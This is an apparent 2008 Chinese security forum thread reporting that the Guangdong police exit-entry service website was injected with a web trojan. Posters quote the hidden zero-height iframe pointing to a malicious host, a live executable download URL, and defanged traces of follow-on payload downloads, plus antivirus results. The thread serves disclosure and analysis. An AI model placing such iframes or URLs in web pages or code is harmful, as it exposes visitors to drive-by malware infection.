广东省公安厅出入境政务服务网被挂马，查询证件朋友注意

显示全部楼层 · 发表于 2008-12-24 17:02:41

2008-12-24 下午 17点正，本人查询证件时候发现广东省公安厅出入境政务服务网
主页面被挂了网页木马，其余未检测

列出网页被挂马地址

<iframe src=http://kkeekrkr.cn/1/aa7.htm width=50 height=0></iframe> <html>
<head>
<title>广东省公安厅出入境政务服务网</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<link rel='stylesheet' href='css/index2.css' type='text/css'>
<script language='JavaScript' src='js/ad.js'>

广东省公安厅出入境政务服务网 http://www.gdcrj.com/

请各位注意毒组 molicn 由于还没下班没去分析。各位木马分析者请上手！

已经通知入境处代解决！

[ 本帖最后由 molicn 于 2008-12-24 17:05 编辑 ]

显示全部楼层 · 发表于 2008-12-24 17:20:02

http://ffdsdssss.cn/1.exe

显示全部楼层 · 发表于 2008-12-24 17:36:05

貌似还没有解决
伞进去
报个不停

显示全部楼层 · 发表于 2008-12-24 17:40:01

Result：

hxxp://ffdsdssss.cn/1.exe

Request GET:
hxxp://www.a3168.com/mydown.asp?ver=081224&tgid=1&address=52-54-00-12-34-56
download：hxxp://www.net-ddos.com/youxi/shengji.exe
hxxp://www.net-ddos.com/youxi/1055569561.exe

Request: GET :
hxxp://www.a3168.com/active.asp?ver=081224&;tgid=1&address=52-54-00-12-34-56&old=0&flag=6e0a609e69dba57380a68af131a15568

Request: GET hxxp://www.net-ddos.com/youxi/1055569561.exe

[ 本帖最后由 zzh161 于 2008-12-24 17:41 编辑 ]

显示全部楼层 · 发表于 2008-12-24 18:21:53

原帖由 Redevil 于 2008-12-24 17:20 发表
http://ffdsdssss.cn/1.exe

發生以下錯誤：

要求的物件感染下列病毒： Worm.Win32.AutoRun.vlh

显示全部楼层 · 发表于 2008-12-24 18:42:05

瑞星2009普通版最新版的病毒库没有报

显示全部楼层 · 发表于 2008-12-24 18:54:18

已经修复了

显示全部楼层 · 发表于 2008-12-24 19:24:32

那是很麻烦了

[病毒样本] 广东省公安厅出入境政务服务网被挂马，查询证件朋友注意

本帖子中包含更多资源

浏览过的版块